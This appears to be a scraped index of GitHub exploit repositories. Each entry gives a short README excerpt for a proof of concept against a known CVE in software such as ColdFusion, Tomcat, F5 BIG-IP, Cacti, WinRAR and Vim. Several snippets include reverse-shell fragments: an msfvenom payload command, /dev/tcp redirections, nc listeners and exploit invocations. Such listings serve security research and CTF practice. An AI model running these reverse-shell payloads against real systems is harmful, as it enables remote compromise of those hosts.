CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py This server will...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

CVE-2026-48172

📚 Educational Security Research Repository A repository for learning, testing, and researching cybersecurity concepts in controlled environments. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authoriz...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC Disclamer I did not, nor do I take credit for finding this vulnerability. This is simply a script I built to more easily exploit this vulnerability for a CTF. For the oiriginal information please reference: https://github.com/c53elyas/CVE-2023-33733 This script is simply intend...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 Reverse Shell for CVE-2022-1388 Download and Usage git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP Server 1.0 Exploitation Professional vulnerability analysis & full remote buffer overflow exploitation 🎯 Project Highlights Complete real-world case study of CVE-2025-5548 remote stack-based buffer overflow in FreeFloat FTP Server 1.0 via NOOP command Manual tool...

PCmanBoF

PCman FTP Server Buffer overflow and Remote Code Execution CVE-2013-4730 A very simple buffer overflow using CVE-2013-4730 against PCman's FTP server v.2.0.7 How it works? That easy BoF overwrite the buffer and execute the shellcode that will connect back reverse shell Vuln machines: WindowsXP SP...

CVE-2021-21315

the CVE-2021-21315's exploit code wrote with Rust lang I'm rust noob so this code was my part of RustLang practices Yes!!Let's Get the reverse shell!!!!!!!!!! !for education or researching only Build cargo build Usage ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 need...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Description This repository contains a Python script to exploit a vulnerability in Flowmon that allows for gaining a reverse shell on the target system. The exploit leverages a flaw in the service.pdfs/confluence endpoint to execute arbitrary commands on the...

CVE-2019-0232

CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Alternative Approach: Reverse Shell & Callback Test Overview This repository contains alternative payload approaches for the InvokeAI RCE vulnerability CVE-2024-12029 when SSH key injection fails. The payloads are designed to test if...

ace-vim-neovim

ace-vim-neovim Vim/Neovim Arbitrary Code Execution via Modelines CVE-2019-12735 Usage 1. listen nc -vlp 9999 2. ace vim pocshell.txt And then, your localhost will get shell...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Python script to exploit PlaySMS before 1.4.3 Execution Open a port on your machine: And the execute exploit.py: ./exploit.py Changing the exploit Tou may want to change the reverse shell created by exploit.py To do this, you can change the function createrevshellencoded...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc Very important I hope you see this link first https://github.com/b1tg/CVE-2023-38831-winrar-exploit I did not write the full exploit. He wrote the exploit. https://github.com/b1tg All he did was modify something simple to get a Reverse Shell through the...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows This repository contains C code that implements a reverse shell for the Windows operating system. A reverse shell allows for remote system control using the command-line, providing the ability to execute commands on the infected machine. Important Using th...

CVE-2021-43857

CVE-2021-43857 Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8. CVE-2021-43857 is a vulnerability marked as Critical priority CVSS 9.8 leading to remote code execution. This vulnerability works on all versions prior to 0.9.8. Tested onl...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 and CVE-2024-46257 is the same POC, just change the provider param. Note Sometimes the nc file can't execute on the server or can't execute command! Install require pip install requests Run Exploit python3 POCCVE-2024-46256.py + Target type IP/Host? i/h: i + Enter...

TraditionalJay

TraditionalJay Intentionally vulnerable classic / traditional shop for security workshops — Java on a VM EC2, Azure VM, or GCP Compute Engine, not containers. Primary story: Critical VM Compromise — SQL injection → Log4Shell CVE-2021-44228 → reverse shell to external C2. !CAUTION Do not deploy to...

CVE-2022-46169

CVE-2022-46169 POC This is a Proof of Concept POC script for the CVE-2022-46169 vulnerability that affects Cacti version 1.2.22. Description The CVE-2022-46169 vulnerability allows an unauthenticated command injection in Cacti versions through 1.2.22 in order to achieve unauthenticated remote cod...